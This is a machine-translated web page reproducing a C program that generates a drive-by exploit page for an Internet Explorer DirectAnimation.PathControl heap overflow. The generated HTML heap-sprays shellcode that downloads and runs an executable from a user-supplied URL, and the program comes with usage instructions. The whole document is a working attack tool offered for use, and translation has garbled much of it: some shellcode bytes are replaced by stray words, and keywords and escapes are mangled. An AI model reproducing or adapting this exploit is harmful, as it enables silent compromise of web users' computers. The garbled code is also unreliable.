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Internet Explorer COM Object Heap Overflow download EXEC Exploit

Source: Internet
Author: User
Tags html header
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/*
*-----------------------------------------------------------------------
*
* Daxctle2.c-Internet Explorer COM Object Heap Overflow download EXEC Exploit
*!!! 0 day !!! Public version !!!
*
* Copyright (c) 2006 xsec All Rights Reserved.
*
* Author: NOP
*: NOP # xsec.org
*: Http://www.xsec.org
*:
* Tested: Windows 2000 Server SP4 CN
*: + Internet Explorer 6.0 SP1
*: Windows XP SP2 CN
*: + Internet Explorer 6.0 SP1 (you need some Goodluck!
*:
* Complie: CL daxctle2.c
*:
* Usage: D:/> daxctle2
*:
*: Usage: daxctle <URL> [htmlfile]
*:
*: D:/> daxctle2 http://xsec.org/xxx.exe xxx.htm
*:
*
*------------------------------------------------------------------------
*/

# Include <stdio. h>
# Include <stdlib. h>

File * fp = NULL;
Char * file = "xsec.htm ";
Char * url = NULL;

// Download exec Shellcode by NOP
Unsigned char SC [] =
"/Xe9/xa3/x00/x00/x00/x5f/x64/xA1/x30/x00/x00/x00/x8b/X40/x0c/x8b"
"/Cross-city/x1c/XAD/x8b/x68/x08/x8b/xf7/x6a/x04/x59/xe8/x43/x00/x00/x00"
"/Xe2/xf9/x68/x6f/x6e/x00/x00/x68/x75/x72/x6c/x6d/x54/xFF/x16/x95"
"/Xe8/x2e/x00/x00/x00/x83/xec/x20/x8b/xdc/x6a/x20/x53/xFF/x56/x04"
"/Xc7/x04/x03/x5c/x61/x2e/X65/xc7/x44/x03/x04/x78/X65/x00/x00/x33"
"/Xc0/x50/x50/x53/x57/x50/xFF/x56/x10/x8b/xdc/x50/x53/xFF/x56/x08"
"/XFF/x56/x0c/x51/x56/x8b/x75/x3c/x8b/x74/x2e/x78/x03/xf5/x56/x8b"
"/X76/x20/x03/xf5/x33/xc9/x49/x41/XAD/x03/xc5/x33/XDB/x0f/xbe/x10"
"/X3a/xd6/x74/x08/xc1/xcb/x0d/x03/xda/X40/xeb/xf1/x3b/x1f/x75/xe7"
"/X5e/x8b/x5e/x24/x03/xdd/x66/x8b/x0c/x4b/x8b/x5e/x1c/x03/xdd/x8b"
"/X04/x8b/x03/xc5/XAB/x5e/x59/xc3/xe8/x58/xFF/x8e/x4e/x0e"
"/Xec/xc1/x79/xe5/xb8/x98/xfe/x8a/x0e/XeF/xce/xe0/X60/x36/x1a/x2f"
"/Xi 'an ";

Char * Header =
"<HTML>/N"
"<Head>/N"
"<Title> xsec.org </title>/N"
"</Head>/N"
"<Body>/N"
"<SCRIPT>/N"
"Shellcode = Unescape (/" % u4343/"+/" % u4343/"+/" % u4343/"+/N ";

// Change this script by yourself.
Char * footer =
"Bigbk = Unescape (/" % u0d0d % u0d0d/");/N"
"Headersize = 20;/N"
"Slackspace = headersize + shellcode. Length/N"
"While (bigbk. Length <slackspace) bigbk + = bigbk;/N"
"Fillbk = bigbk. substring (0, slackspace);/N"
"BK = bigbk. substring (0, bigbk. Length-slackspace);/N"
// BK = NOP + NOP ;-)
"While (BK. Length + slackspace <0x40000) BK = BK + fillbk;/N"
"Memory = new array ();/N"
"For (I = 0; I <800; I ++) memory [I] = BK + shellcode;/N"
"Var target = new activexobject (/" DirectAnimation. PathControl/");/N"
"Target. keyframe (0x7fffffff, new array (1), new array (65535);/N"
"</SCRIPT>/N"
"</Body>/N"
"</Html>/N ";

// Print Unicode shellcode
Void printuc (char * lpbuff, int buffsize)
{
Int I, J;
Char * P;
Char MSG [4];

For (I = 0; I <buffsize; I + = 2)
{
If (I % 16) = 0)
{
If (I! = 0)
{
Printf ("/"/n /"");
Fprintf (FP, "% s", "/" +/n /"");
}
Else
{
Printf ("/"");
Fprintf (FP, "% s ","/"");
}
}

Printf ("% u % 0.4x", (unsigned short *) lpbuff) [I/2]);

Fprintf (FP, "% u % 0.4x", (unsigned short *) lpbuff) [I/2]);
}

Printf ("/";/N ");
Fprintf (FP, "% s", "/");/N ");


Fflush (FP );
}

Void main (INT argc, char ** argv)
{
Unsigned char Buf [1024] = {0 };

Int SC _len = 0;

If (argc <2)
{
Printf ("Internet Explorer COM Object Remote Heap Overflow download EXEC Exploit/N ");
Printf ("code by NOP # xsec.org, welcome to http://www.xsec.org/N ");
// Printf ("!!! 0 day !!! Please keep private !!! /N ");
Printf ("/R/nusage: % S <URL> [htmlfile]/R/n", argv [0]);
Exit (1 );
}

Url = argv [1];

// If ((! Strstr (URL, "http ://")&&! Strstr (URL, "ftp: //") | strlen (URL) <10 | strlen (URL)> 60)
If ((! Strstr (URL, "http ://")&&! Strstr (URL, "ftp: //") | strlen (URL) <10)
{
// Printf ("[-] Invalid URL. must start with 'HTTP: // ', 'ftp: //' and <60 bytes./N ");
Printf ("[-] Invalid URL. must start with 'HTTP: // ', 'ftp: //'/N ");
Return;
}

Printf ("[+] Download URL: % s/n", URL );

If (argc> = 3) file = argv [2];
Printf ("[+] exploit file: % s/n", file );

Fp = fopen (file, "W ");
If (! FP)
{
Printf ("[-] Open File error! /N ");
Return;
}

// Print HTML Header
Fprintf (FP, "% s", header );
Fflush (FP );

// Print shellcode
Memset (BUF, 0, sizeof (BUF ));
SC _len = sizeof (SC)-1;
Memcpy (BUF, SC, SC _len );
Memcpy (BUF + SC _len, URL, strlen (URL ));

SC _len + = strlen (URL) + 1;
Printuc (BUF, SC _len );

// Print HTML footer
Fprintf (FP, "% s", footer );
Fflush (FP );

Printf ("[+] exploit write to % s success! /N ", file );
}

This article is an English version of an article which is originally in the Chinese language on aliyun.com and is provided for information purposes only. This website makes no representation or warranty of any kind, either expressed or implied, as to the accuracy, completeness ownership or reliability of the article or any translations thereof. If you have any concerns or complaints relating to the article, please send an email, providing a detailed description of the concern or complaint, to info-contact@alibabacloud.com. A staff member will contact you within 5 working days. Once verified, infringing content will be removed immediately.

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